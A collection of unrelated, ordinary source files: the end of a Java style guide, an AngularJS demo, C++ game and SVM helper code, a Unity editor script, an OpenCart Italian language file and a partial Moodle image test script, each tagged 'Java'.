<H4> Methods that implement an interface method should use the @Override tag. </H4>
<H4> Methods that use the @Override tag do not need a Javadoc comment. </H4>
<H3> Use of Tuple Objects<A,B> </H3>
<H4> Use of Pair<A,B>, Triple<A,B,C>, etc. should be avoided. If the multiple values being returned
are related, then the method is conceptually returning a higher level object and so should return that.
Otherwise, the method should be redesigned. </H4>
<H3> Exception Handling </H3>
<H4> Exceptions should never have empty code blocks. There should at least be a comment explaining
why there is no code for the exception. </H4>
<H4> If the caught exception is believed to be impossible to happen, the correct action is to throw an AssertException
with a message explaining that it should never happen. </H4>
<H3> Final </H3>
<H4> Instance variables that are immutable should be declared final unless there is a compelling reason not to. </H4>
<H3> Shadowing </H3>
<H4> Avoid hiding/shadowing methods, variables, and type variables in outer scopes. </H4>
<H3> Access modifiers </H3>
<H4> Class instance fields should not be public. They should be private whenever possible, but protected and package are acceptable.</H4>
<H3> Java-specific constructs</H3>
<H4> Use the try-with-resources pattern whenever possible. </H4>
<H4> Always parameterize types when possible (e.g., JComboBox<String> vs. JComboBox). </H4>
<H4> If an object has an isEmpty() method, use it instead of checking its size == 0. </H4>
<H3> Miscellaneous </H3>
<H4> Mutating method parameters is discouraged. </H4>
<H4> Magic numbers should not appear in the code. Other than 0, or 1, the number should be declared as a constant. </H4>
<H4> Avoid creating a new Utilities class <B>*every time you need to share code*</B>. Try to add to
an existing utilities class OR take advantage of code re-use via inheritance. </H4>
<H3> Rules that shouldn't need to be stated, but do</H3>
<H4> Test your feature yourself before submitting for review and make sure the tests pass. </H4>
<div class="info">
Notes:
</div>
<H5>Complexity</H5>
<P>
'The McCabe measure of complexity isn't the only sound measure, but it's the measure most
discussed in computing literature and it's especially helpful when you're thinking about control flow.
Other measures include the amount of data used, the number of nesting levels in control
constructs, the number of lines of code, the number of lines between successive references
to variables ("span"), the number of lines that a variable is in use ("live time"), and the
amount of input and output. Some researchers have developed composite metrics based on
combinations of these simpler ones.' (McCabe)
</P>
<P>
'Moving part of a routine into another routine doesn't reduce the overall complexity of the
program; it just moves the decision points around. But it reduces the amount of complexity
you have to deal with at any one time. Since the important goal is to minimize the number of
items you have to juggle mentally, reducing the complexity of a given routine is worthwhile.' (McCabe)
</P>
<P>
'Excessive indentation, or "nesting," has been pilloried in computing literature for 25 years and is
still one of the chief culprits in confusing code. Studies by Noam Chomsky and Gerald
Weinberg suggest that few people can understand more than three levels of nested ifs
(Yourdon 1986a), and many researchers recommend avoiding nesting to more than three or four
levels (Myers 1976, Marca 1981, and Ledgard and Tauer 1987a). Deep nesting works against what
Chapter 5, describes as Software's Primary Technical Imperative: Managing Complexity. That is reason
enough to avoid deep nesting.' (McCabe)
</P>
<P>
'There is no code so big, twisted, or complex that maintenance can't make it worse.'<BR>
- Gerald Weinberg
</P>
<div class="info">
References:
</div>
<UL>
<LI> Google Java Style Guide </LI>
<LI> OpenJDK Style Guide </LI>
<LI> Java Programming Style Guidelines - Geotechnical Software Services </LI>
<LI> Code Complete, Steve McConnell </LI>
<LI> Java Code Conventions </LI>
<LI> Netscapes Software Coding Standards for Java </LI>
<LI> C / C++ / Java Coding Standards from NASA </LI>
<LI> Coding Standards for Java from AmbySoft </LI>
<LI> Clean Code, Robert Martin (Uncle Bob) </LI>
</UL>
</body>
</html>
| Java |
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Example - example-example33-production</title>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0-beta.7/angular.min.js"></script>
</head>
<body ng-app="">
<input ng-keyup="count = count + 1" ng-init="count=0">
key up count: {{count}}
</body>
</html> | Java |
/*
This source file is part of Rigs of Rods
Copyright 2005-2012 Pierre-Michel Ricordel
Copyright 2007-2012 Thomas Fischer
Copyright 2013-2014 Petr Ohlidal
For more information, see http://www.rigsofrods.com/
Rigs of Rods is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 3, as
published by the Free Software Foundation.
Rigs of Rods is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Rigs of Rods. If not, see <http://www.gnu.org/licenses/>.
*/
#include "SkyXManager.h"
#include "Application.h"
#include "HydraxWater.h"
#include "OgreSubsystem.h"
#include "TerrainManager.h"
#include "TerrainGeometryManager.h"
using namespace Ogre;
using namespace RoR;
SkyXManager::SkyXManager(Ogre::String configFile)
{
InitLight();
//Ogre::ResourceGroupManager::getSingleton().addResourceLocation("..\\resource\\SkyX\\","FileSystem", "SkyX",true); //Temp
mBasicController = new SkyX::BasicController();
mSkyX = new SkyX::SkyX(gEnv->sceneManager, mBasicController);
mCfgFileManager = new SkyX::CfgFileManager(mSkyX, mBasicController, gEnv->mainCamera);
mCfgFileManager->load(configFile);
mSkyX->create();
RoR::App::GetOgreSubsystem()->GetOgreRoot()->addFrameListener(mSkyX);
RoR::App::GetOgreSubsystem()->GetRenderWindow()->addListener(mSkyX);
}
SkyXManager::~SkyXManager()
{
RoR::App::GetOgreSubsystem()->GetRenderWindow()->removeListener(mSkyX);
mSkyX->remove();
mSkyX = nullptr;
delete mBasicController;
mBasicController = nullptr;
}
Vector3 SkyXManager::getMainLightDirection()
{
if (mBasicController != nullptr)
return mBasicController->getSunDirection();
return Ogre::Vector3(0.0,0.0,0.0);
}
Light *SkyXManager::getMainLight()
{
return mLight1;
}
bool SkyXManager::update(float dt)
{
UpdateSkyLight();
mSkyX->update(dt);
return true;
}
bool SkyXManager::UpdateSkyLight()
{
Ogre::Vector3 lightDir = -getMainLightDirection();
Ogre::Vector3 sunPos = gEnv->mainCamera->getDerivedPosition() - lightDir*mSkyX->getMeshManager()->getSkydomeRadius(gEnv->mainCamera);
// Calculate current color gradients point
float point = (-lightDir.y + 1.0f) / 2.0f;
if (App::GetSimTerrain ()->getHydraxManager ())
{
App::GetSimTerrain ()->getHydraxManager ()->GetHydrax ()->setWaterColor (mWaterGradient.getColor (point));
App::GetSimTerrain ()->getHydraxManager ()->GetHydrax ()->setSunPosition (sunPos*0.1);
}
mLight0 = gEnv->sceneManager->getLight("Light0");
mLight1 = gEnv->sceneManager->getLight("Light1");
mLight0->setPosition(sunPos*0.02);
mLight1->setDirection(lightDir);
if (App::GetSimTerrain()->getWater())
{
App::GetSimTerrain()->getWater()->WaterSetSunPosition(sunPos*0.1);
}
//setFadeColour was removed with https://github.com/RigsOfRods/rigs-of-rods/pull/1459
/* Ogre::Vector3 sunCol = mSunGradient.getColor(point);
mLight0->setSpecularColour(sunCol.x, sunCol.y, sunCol.z);
if (App::GetSimTerrain()->getWater()) App::GetSimTerrain()->getWater()->setFadeColour(Ogre::ColourValue(sunCol.x, sunCol.y, sunCol.z));
*/
Ogre::Vector3 ambientCol = mAmbientGradient.getColor(point);
mLight1->setDiffuseColour(ambientCol.x, ambientCol.y, ambientCol.z);
mLight1->setPosition(100,100,100);
if (mBasicController->getTime().x > 12)
{
if (mBasicController->getTime().x > mBasicController->getTime().z)
mLight0->setVisible(false);
else
mLight0->setVisible(true);
}
else
{
if (mBasicController->getTime ().x < mBasicController->getTime ().z)
mLight0->setVisible (false);
else
mLight0->setVisible (true);
}
if (round (mBasicController->getTime ().x) != mLastHour)
{
TerrainGeometryManager* gm = App::GetSimTerrain ()->getGeometryManager ();
if (gm)
gm->updateLightMap ();
mLastHour = round (mBasicController->getTime ().x);
}
return true;
}
bool SkyXManager::InitLight()
{
// Water
mWaterGradient = SkyX::ColorGradient();
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.779105)*0.4, 1));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.729105)*0.3, 0.8));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.25, 0.6));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.2, 0.5));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.1, 0.45));
mWaterGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.058209,0.535822,0.679105)*0.025, 0));
// Sun
mSunGradient = SkyX::ColorGradient();
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.5, 1.0f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.4, 0.75f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.8,0.75,0.55)*1.3, 0.5625f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.6,0.5,0.2)*1.5, 0.5f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.5,0.5,0.5)*0.25, 0.45f));
mSunGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(0.5,0.5,0.5)*0.01, 0.0f));
// Ambient
mAmbientGradient = SkyX::ColorGradient();
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*1, 1.0f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*1, 0.6f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.6, 0.5f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.3, 0.45f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.1, 0.35f));
mAmbientGradient.addCFrame(SkyX::ColorGradient::ColorFrame(Ogre::Vector3(1,1,1)*0.05, 0.0f));
gEnv->sceneManager->setAmbientLight(ColourValue(0.35,0.35,0.35)); //Not needed because terrn2 has ambientlight settings
// Light
mLight0 = gEnv->sceneManager->createLight("Light0");
mLight0->setDiffuseColour(1, 1, 1);
mLight0->setCastShadows(false);
mLight1 = gEnv->sceneManager->createLight("Light1");
mLight1->setType(Ogre::Light::LT_DIRECTIONAL);
return true;
}
size_t SkyXManager::getMemoryUsage()
{
//TODO
return 0;
}
void SkyXManager::freeResources()
{
//TODO
}
| Java |
/*
Copyright (C) 2011 Andrew Cotter
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
\file helpers.hpp
\brief Helper macros, functions and classes
*/
#ifndef __HELPERS_HPP__
#define __HELPERS_HPP__
#include <boost/static_assert.hpp>
#include <boost/cstdint.hpp>
#include <cmath>
namespace GTSVM {
//============================================================================
// ARRAYLENGTH macro
//============================================================================
#define ARRAYLENGTH( array ) \
( sizeof( array ) / sizeof( array[ 0 ] ) )
//============================================================================
// LIKELY and UNLIKELY macros
//============================================================================
#if defined( __GNUC__ ) && ( __GNUC__ >= 3 )
#define LIKELY( boolean ) __builtin_expect( ( boolean ), 1 )
#define UNLIKELY( boolean ) __builtin_expect( ( boolean ), 0 )
#else /* defined( __GNUC__ ) && ( __GNUC__ >= 3 ) */
#define LIKELY( boolean ) ( boolean )
#define UNLIKELY( boolean ) ( boolean )
#endif /* defined( __GNUC__ ) && ( __GNUC__ >= 3 ) */
#ifdef __cplusplus
//============================================================================
// Power helper template
//============================================================================
template< unsigned int t_Number, unsigned int t_Power >
struct Power {
enum { RESULT = t_Number * Power< t_Number, t_Power - 1 >::RESULT };
};
template< unsigned int t_Number >
struct Power< t_Number, 0 > {
enum { RESULT = 1 };
};
//============================================================================
// Signum helper functions
//============================================================================
template< typename t_Type >
inline t_Type Signum( t_Type const& value ) {
t_Type result = 0;
if ( value < 0 )
result = -1;
else if ( value > 0 )
result = 1;
return result;
}
template< typename t_Type >
inline t_Type Signum( t_Type const& value, t_Type const& scale ) {
t_Type result = 0;
if ( value < 0 )
result = -scale;
else if ( value > 0 )
result = scale;
return result;
}
//============================================================================
// Square helper function
//============================================================================
template< typename t_Type >
inline t_Type Square( t_Type const& value ) {
return( value * value );
}
//============================================================================
// Cube helper function
//============================================================================
template< typename t_Type >
inline t_Type Cube( t_Type const& value ) {
return( value * value * value );
}
//============================================================================
// CountBits helper functions
//============================================================================
inline unsigned char CountBits( boost::uint8_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 1 );
number = ( number & 0x55 ) + ( ( number >> 1 ) & 0x55 );
number = ( number & 0x33 ) + ( ( number >> 2 ) & 0x33 );
number = ( number & 0x0f ) + ( number >> 4 );
return number;
}
inline unsigned short CountBits( boost::uint16_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 2 );
number = ( number & 0x5555 ) + ( ( number >> 1 ) & 0x5555 );
number = ( number & 0x3333 ) + ( ( number >> 2 ) & 0x3333 );
number = ( number & 0x0f0f ) + ( ( number >> 4 ) & 0x0f0f );
number = ( number & 0x00ff ) + ( number >> 8 );
return number;
}
inline unsigned int CountBits( boost::uint32_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 4 );
number = ( number & 0x55555555 ) + ( ( number >> 1 ) & 0x55555555 );
number = ( number & 0x33333333 ) + ( ( number >> 2 ) & 0x33333333 );
number = ( number & 0x0f0f0f0f ) + ( ( number >> 4 ) & 0x0f0f0f0f );
number = ( number & 0x00ff00ff ) + ( ( number >> 8 ) & 0x00ff00ff );
number = ( number & 0x0000ffff ) + ( number >> 16 );
return number;
}
inline unsigned long long CountBits( boost::uint64_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 8 );
number = ( number & 0x5555555555555555ull ) + ( ( number >> 1 ) & 0x5555555555555555ull );
number = ( number & 0x3333333333333333ull ) + ( ( number >> 2 ) & 0x3333333333333333ull );
number = ( number & 0x0f0f0f0f0f0f0f0full ) + ( ( number >> 4 ) & 0x0f0f0f0f0f0f0f0full );
number = ( number & 0x00ff00ff00ff00ffull ) + ( ( number >> 8 ) & 0x00ff00ff00ff00ffull );
number = ( number & 0x0000ffff0000ffffull ) + ( ( number >> 16 ) & 0x0000ffff0000ffffull );
number = ( number & 0x00000000ffffffffull ) + ( number >> 32 );
return number;
}
//============================================================================
// HighBit helper functions
//============================================================================
inline unsigned int HighBit( boost::uint8_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 1 );
unsigned int bit = 0;
if ( number & 0xf0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x0c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x02 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint16_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 2 );
unsigned int bit = 0;
if ( number & 0xff00 ) {
bit += 8;
number >>= 8;
}
if ( number & 0x00f0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x000c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x0002 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint32_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 4 );
unsigned int bit = 0;
if ( number & 0xffff0000 ) {
bit += 16;
number >>= 16;
}
if ( number & 0x0000ff00 ) {
bit += 8;
number >>= 8;
}
if ( number & 0x000000f0 ) {
bit += 4;
number >>= 4;
}
if ( number & 0x0000000c ) {
bit += 2;
number >>= 2;
}
if ( number & 0x00000002 )
++bit;
return bit;
}
inline unsigned int HighBit( boost::uint64_t number ) {
BOOST_STATIC_ASSERT( sizeof( number ) == 8 );
unsigned int bit = 0;
if ( number & 0xffffffff00000000ull ) {
bit += 32;
number >>= 32;
}
if ( number & 0x00000000ffff0000ull ) {
bit += 16;
number >>= 16;
}
if ( number & 0x000000000000ff00ull ) {
bit += 8;
number >>= 8;
}
if ( number & 0x00000000000000f0ull ) {
bit += 4;
number >>= 4;
}
if ( number & 0x000000000000000cull ) {
bit += 2;
number >>= 2;
}
if ( number & 0x0000000000000002ull )
++bit;
return bit;
}
} // namespace GTSVM
#endif /* __cplusplus */
#endif /* __HELPERS_HPP__ */
| Java |
/**
* This file is part of a demo that shows how to use RT2D, a 2D OpenGL framework.
*
* - Copyright 2015 Rik Teerling <[email protected]>
* - Initial commit
* - Copyright 2015 Your Name <[email protected]>
* - What you did
*/
#include "scene01.h"
Scene01::Scene01() : SuperScene()
{
// Start Timer t
t.start();
text[0]->message("Scene01: Parent/child, Sprite, Spritesheet, blendcolor");
text[4]->message("<SPACE> reset UV animation");
text[5]->message("<Arrow keys> move camera");
// Create an Entity with a custom pivot point.
default_entity = new BasicEntity();
default_entity->addSprite("assets/default.tga", 0.75f, 0.25f, 3, 0); // custom pivot point, filter, wrap (0=repeat, 1=mirror, 2=clamp)
default_entity->position = Point2(SWIDTH/3, SHEIGHT/2);
// To create a Sprite with specific properties, create it first, then add it to an Entity later.
// It will be unique once you added it to an Entity. Except for non-dynamic Texture wrapping/filtering if it's loaded from disk and handled by the ResourceManager.
// You must delete it yourself after you've added it to all the Entities you want.
Sprite* f_spr = new Sprite();
f_spr->setupSprite("assets/grayscale.tga", 0.5f, 0.5f, 1.0f, 1.0f, 1, 2); // filename, pivot.x, pivot.y, uvdim.x, uvdim.y, filter, wrap
f_spr->color = GREEN; // green
child1_entity = new BasicEntity();
child1_entity->position = Point2(100, -100); // position relative to parent (default_entity)
child1_entity->addSprite(f_spr);
delete f_spr;
// Create an Entity that's going to be a Child of default_entity.
// Easiest way to create a Sprite with sensible defaults. @see Sprite::setupSprite()
child2_entity = new BasicEntity();
child2_entity->addSprite("assets/grayscale.tga");
child2_entity->sprite()->color = RED; // red
child2_entity->position = Point2(64, 64); // position relative to parent (child1_entity)
// An example of using a SpriteSheet ("animated texture").
// Remember you can also animate UV's of any Sprite (uvoffset).
animated_entity = new BasicEntity();
animated_entity->addLine("assets/default.line"); // Add a line (default line fits nicely)
animated_entity->addSpriteSheet("assets/spritesheet.tga", 4, 4); // divide Texture in 4x4 slices
animated_entity->position = Point2(SWIDTH/3*2, SHEIGHT/2);
// Create a UI entity
ui_element = new BasicEntity();
//ui_element->position = Point2(SWIDTH-150, 20); // sticks to camera in update()
// filter + wrap inherited from default_entity above (is per texturename. "assets/default.tga" already loaded).
ui_element->addSprite("assets/default.tga", 0.5f, 0.0f); // Default texture. Pivot point top middle. Pivot(0,0) is top left.
ui_element->sprite()->size = Point2(256, 64); // texture is 512x512. Make Mesh half the width, 1 row of squares (512/8).
ui_element->sprite()->uvdim = Point2(0.5f, 0.125f); // UV 1/8 of the height.
ui_element->sprite()->uvoffset = Point2(0.0f, 0.0f); // Show bottom row. UV(0,0) is bottom left.
// create a tree-structure to send to the Renderer
// by adding them to each other and/or the scene ('this', or one of the layers[])
child1_entity->addChild(child2_entity);
default_entity->addChild(child1_entity);
layers[1]->addChild(default_entity);
layers[1]->addChild(animated_entity);
layers[top_layer]->addChild(ui_element);
}
Scene01::~Scene01()
{
// deconstruct and delete the Tree
child1_entity->removeChild(child2_entity);
default_entity->removeChild(child1_entity);
layers[1]->removeChild(default_entity);
layers[1]->removeChild(animated_entity);
layers[top_layer]->removeChild(ui_element);
delete animated_entity;
delete child2_entity;
delete child1_entity;
delete default_entity;
delete ui_element;
}
void Scene01::update(float deltaTime)
{
// ###############################################################
// Make SuperScene do what it needs to do
// - Escape key stops Scene
// - Move Camera
// ###############################################################
SuperScene::update(deltaTime);
SuperScene::moveCamera(deltaTime);
// ###############################################################
// Mouse cursor in screen coordinates
// ###############################################################
int mousex = input()->getMouseX();
int mousey = input()->getMouseY();
std::string cursortxt = "cursor (";
cursortxt.append(std::to_string(mousex));
cursortxt.append(",");
cursortxt.append(std::to_string(mousey));
cursortxt.append(")");
text[9]->message(cursortxt);
// ###############################################################
// Rotate default_entity
// ###############################################################
default_entity->rotation -= 90 * DEG_TO_RAD * deltaTime; // 90 deg. per sec.
if (default_entity->rotation < TWO_PI) { default_entity->rotation += TWO_PI; }
// ###############################################################
// alpha child1_entity + child2_entity
// ###############################################################
static float counter = 0;
child1_entity->sprite()->color.a = abs(sin(counter)*255);
child2_entity->sprite()->color.a = abs(cos(counter)*255);
counter+=deltaTime/2; if (counter > TWO_PI) { counter = 0; }
// ###############################################################
// Animate animated_entity
// ###############################################################
animated_entity->rotation += 22.5 * DEG_TO_RAD * deltaTime;
if (animated_entity->rotation > -TWO_PI) { animated_entity->rotation -= TWO_PI; }
static int f = 0;
if (f > 15) { f = 0; }
animated_entity->sprite()->frame(f);
if (t.seconds() > 0.25f) {
static RGBAColor rgb = RED;
animated_entity->sprite()->color = rgb;
rgb = Color::rotate(rgb, 0.025f);
f++;
t.start();
}
// ###############################################################
// ui_element uvoffset
// ###############################################################
static float xoffset = 0.0f;
xoffset += deltaTime / 2;
if (input()->getKey( GLFW_KEY_SPACE )) {
xoffset = 0.0f;
}
ui_element->sprite()->uvoffset.x = xoffset;
ui_element->position = Point2(camera()->position.x + SWIDTH/2 - 150, camera()->position.y - SHEIGHT/2 + 20);
}
| Java |
using UnityEngine;
using UnityEditor;
using System.Collections;
using System.Collections.Generic;
using Frontiers.World;
[CustomEditor(typeof(BannerEditor))]
public class BannerEditorEditor : Editor
{
protected BannerEditor be;
public void Awake()
{
be = (BannerEditor)target;
}
public override void OnInspectorGUI()
{
EditorStyles.textField.wordWrap = true;
DrawDefaultInspector();
be.DrawEditor();
}
}
| Java |
<?php
// Heading
$_['heading_title'] = 'Cliente';
// Text
$_['text_login'] = 'Login';
$_['text_success'] = 'Hai modificato con successo i clienti!';
$_['text_approved'] = 'Hai attivato %s account!';
$_['text_wait'] = 'Attendi!';
$_['text_balance'] = 'Saldo:';
// Column
$_['column_name'] = 'Nome cliente';
$_['column_email'] = 'E-Mail';
$_['column_customer_group'] = 'Gruppo clienti';
$_['column_status'] = 'Stato';
$_['column_approved'] = 'Approvato';
$_['column_date_added'] = 'Data inserimento';
$_['column_description'] = 'Descrizione';
$_['column_amount'] = 'Imporot';
$_['column_points'] = 'Punti';
$_['column_ip'] = 'IP';
$_['column_total'] = 'Account Totali';
$_['column_action'] = 'Azione';
// Entry
$_['entry_firstname'] = 'Nome:';
$_['entry_lastname'] = 'Cognome:';
$_['entry_email'] = 'E-Mail:';
$_['entry_telephone'] = 'Telefono:';
$_['entry_fax'] = 'Fax:';
$_['entry_newsletter'] = 'Newsletter:';
$_['entry_customer_group'] = 'Gruppo clienti:';
$_['entry_status'] = 'Stato:';
$_['entry_password'] = 'Password:';
$_['entry_confirm'] = 'Conferma:';
$_['entry_company'] = 'Azienda:';
$_['entry_address_1'] = 'Indirizzo 1:';
$_['entry_address_2'] = 'Indirizzo 2:';
$_['entry_city'] = 'Città:';
$_['entry_postcode'] = 'CAP:';
$_['entry_country'] = 'Nazione:';
$_['entry_zone'] = 'Provincia:';
$_['entry_default'] = 'Indirizzo di Default:';
$_['entry_amount'] = 'Importo:';
$_['entry_points'] = 'Punti:';
$_['entry_description'] = 'Descrizione:';
// Error
$_['error_warning'] = 'Attenzione: Controlla il modulo, ci sono alcuni errori!';
$_['error_permission'] = 'Attenzione: Non hai i permessi necessari per modificare i clienti!';
$_['error_firstname'] = 'Il nome deve essere maggiore di 1 carattere e minore di 32!';
$_['error_lastname'] = 'Il cognome deve essere maggiore di 1 carattere e minore di 32!';
$_['error_email'] = 'L\'indirizzo e-mail sembra essere non valido!';
$_['error_telephone'] = 'Il Telefono deve essere maggiore di 3 caratteri e minore di 32!';
$_['error_password'] = 'La password deve essere maggiore di 3 caratteri e minore di 20!';
$_['error_confirm'] = 'Le due password non coincodono!';
$_['error_address_1'] = 'L\'indirizzo deve essere lungo almeno 3 caratteri e non più di 128 caratteri!';
$_['error_city'] = 'La città deve essere lungo almeno 3 caratteri e non più di 128 caratteri!';
$_['error_postcode'] = 'Il CAP deve essere tra i 2 ed i 10 caratteri per questa nazione!';
$_['error_country'] = 'Per favore seleziona lo stato!';
$_['error_zone'] = 'Per favore seleziona la provincia';
?> | Java |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Grid Format - A topics based format that uses a grid of user selectable images to popup a light box of the section.
*
* @package course/format
* @subpackage grid
* @copyright © 2013 G J Barnard in respect to modifications of standard topics format.
* @author G J Barnard - gjbarnard at gmail dot com and {@link http://moodle.org/user/profile.php?id=442195}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
// Instructions.
// 1. Ensure this file and the image '515-797no09sa.jpg' are in the Moodle installation folder '/course/format/grid/test'.
// 2. Ensure the value of courseid is for a valid course in the URL i.e. image_test.php?courseid=2.
// 3.1 In a browser, log into Moodle so that you have a valid MoodleSession cookie.
// 3.2 In another tab of the same browser navigate to 'your moodle installation'/course/format/grid/test/image_test.php.
// E.g. http://localhost/moodlegjb/course/format/grid/test/image_test.php.
// Success: Image shows.
// Failure: Image does not show.
require_once('../../../../config.php');
global $CFG, $DB;
require_once($CFG->libdir . '/filelib.php');
require_once($CFG->libdir . '/weblib.php');
require_once($CFG->libdir . '/outputcomponents.php');
require_once($CFG->dirroot . '/repository/lib.php');
require_once($CFG->dirroot . '/course/format/lib.php'); // For format_base.
require_once($CFG->dirroot . '/course/lib.php'); // For course functions.
require_once($CFG->dirroot . '/course/format/grid/lib.php'); // For format_grid.
$courseid = required_param('courseid', PARAM_INT);
/* Script settings */
define('GRID_ITEM_IMAGE_WIDTH', 210);
define('GRID_ITEM_IMAGE_HEIGHT', 140);
$context = context_course::instance($courseid);
$contextid = $context->id;
// Find an section id to use:....
$sections = $DB->get_records('course_sections', array('course' => $courseid));
// Use the first.
$sectionid = reset($sections)->id;
// Adapted code from test_convert_image()' of '/lib/filestorage/tests/file_storage_test.php'.
$imagefilename = '515-797no09sa.jpg'; // Image taken by G J Barnard 2002 - Only use for these tests.
$filepath = $CFG->dirroot . '/course/format/grid/test/' . $imagefilename;
$filerecord = array(
'contextid' => $contextid,
'component' => 'course',
'filearea' => 'section',
'itemid' => $sectionid,
'filepath' => '/gridtest/',
'filename' => $imagefilename
);
$fs = get_file_storage();
$convertedfilename = 'converted_' . $imagefilename;
// Clean area from previous test run...
if ($file = $fs->get_file($contextid, 'course', 'section', $sectionid, $filerecord['filepath'], $imagefilename)) {
$file->delete();
}
if ($file = $fs->get_file($contextid, 'course', 'section', $sectionid, $filerecord['filepath'], $convertedfilename)) {
$file->delete();
}
$original = $fs->create_file_from_pathname($filerecord, $filepath);
$filerecord['filename'] = $convertedfilename;
$converted = $fs->convert_image($filerecord, $original, GRID_ITEM_IMAGE_WIDTH, GRID_ITEM_IMAGE_HEIGHT, true, 75);
require_once('test_header.php');
$o = html_writer::tag('h1', 'Upload and convert image....');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Original image:');
$src = $CFG->wwwroot . '/course/format/grid/test/' . $imagefilename;
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Original'));
$o .= html_writer::end_tag('div');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Converted image:');
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, '/gridtest/', $convertedfilename);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Converted'));
$o .= html_writer::end_tag('div');
$o .= html_writer::tag('p', 'Converted object:');
$o .= print_r($converted, true);
$o .= html_writer::start_tag('div');
$o .= html_writer::empty_tag('br');
$o .= html_writer::tag('p', 'Course Id: ' . $courseid);
$o .= html_writer::tag('p', 'Context Id: ' . $contextid);
$o .= html_writer::tag('p', 'Item / Section Id: ' . $sectionid);
$o .= html_writer::tag('p', 'Plugin URL: ' . $src);
$o .= html_writer::empty_tag('br');
$o .= html_writer::end_tag('div');
echo $o;
$o = html_writer::tag('h1', 'Convert image and set as section 2 image, repeat to check delete method....');
// Use the second.
$sectionid = next($sections)->id;
$courseformat = course_get_format($courseid);
// Clean up from previous test....
$courseformat->delete_image($sectionid, $contextid);
// This test....
$storedfilerecord = $courseformat->create_original_image_record($contextid, $sectionid, $imagefilename);
$sectionimage = $courseformat->get_image($courseid, $sectionid);
$courseformat->create_section_image($original, $storedfilerecord, $sectionimage);
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Original image resized to maximum width:');
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, '/', $imagefilename);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Original Resized'));
$o .= html_writer::end_tag('div');
$o .= html_writer::start_tag('div');
$o .= html_writer::tag('p', 'Converted image to current course settings:');
$sectionimage = $courseformat->get_image($courseid, $sectionid);
$src = moodle_url::make_pluginfile_url($contextid, 'course', 'section', $sectionid, $courseformat->get_image_path(), $sectionimage->displayedimageindex . '_' . $sectionimage->image);
$o .= html_writer::empty_tag('img', array('src' => $src, 'alt' => 'Grid Format Image Test Converted to current course settings'));
$o .= html_writer::end_tag('div');
